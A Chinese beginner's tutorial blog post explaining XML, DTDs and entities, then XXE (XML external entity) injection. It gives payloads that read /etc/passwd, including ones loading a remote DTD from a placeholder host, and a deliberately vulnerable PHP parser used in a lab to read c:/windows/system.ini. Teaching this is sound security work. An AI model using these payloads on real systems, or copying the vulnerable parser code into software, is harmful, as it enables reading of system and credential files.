网上其他的也有很多xxe的漏洞讲解,但是我大概都看了一遍,对新手还是很不友好的,有很多地方不够详细,所以我这里就尽可能详细的让小白都可以看懂。
那么在学习xxe漏洞之前,需要先了解xml的一些基础知识,下面先介绍以下xml
XML基础知识
XML简介:
XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
带有 DTD 的 XML 文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
根据以上代码,做出如下解释
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 "note.dtd" 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体
实体的概念:
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
例子:
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;&copyright;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
一个外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;&copyright;</author>
有了以上的XML和DTD的知识基础,我们就可以学习XXE漏洞了。
XXE漏洞——XML外部实体注入(XML External Entity)
当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞
例1:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]>
<x>&b;</x>
如果以上xml代码被解析,则会返回/etc/passwd文件的内容。
例2:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >
%d;
]>
<x>&xxe;</x>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
有的小伙伴可能已经发现了,例1中实体名前面并没有%,而例2中实体名前是有%的,这里的区别在于,例1中定义的实体是通用实体,而例2中定义的是参数实体,并且参数实体只能在dtd中使用,即例2代码中的第三行 %d;,这里就像在外面引用统用实体一样,这里的%d;就引用了http://xxx.com/xxe.dtd这个文件到dtd中。
例3:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd">
<x>&xxe;</x>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
不同程序支持的协议不同,如下图:
LIBXML2 | PHP | JAVA | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
以上面的例子可能还是说的不太清楚,那我们就用一个实例来看一下XXE漏洞到底是什么东西:
实例1:
环境设置
PHPstudy集成 Apache2.4.39 PHP5.2.17nts
xxe.php后端代码
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
访问
刷新并抓包,POST我们构造的payload
发包返回我们查看的c:/windows/system.ini
这就是一个简单的xxe漏洞的利用过程,当然不止文件读取这一种危害,更多的利用方式我们在下一篇文章中为大家介绍!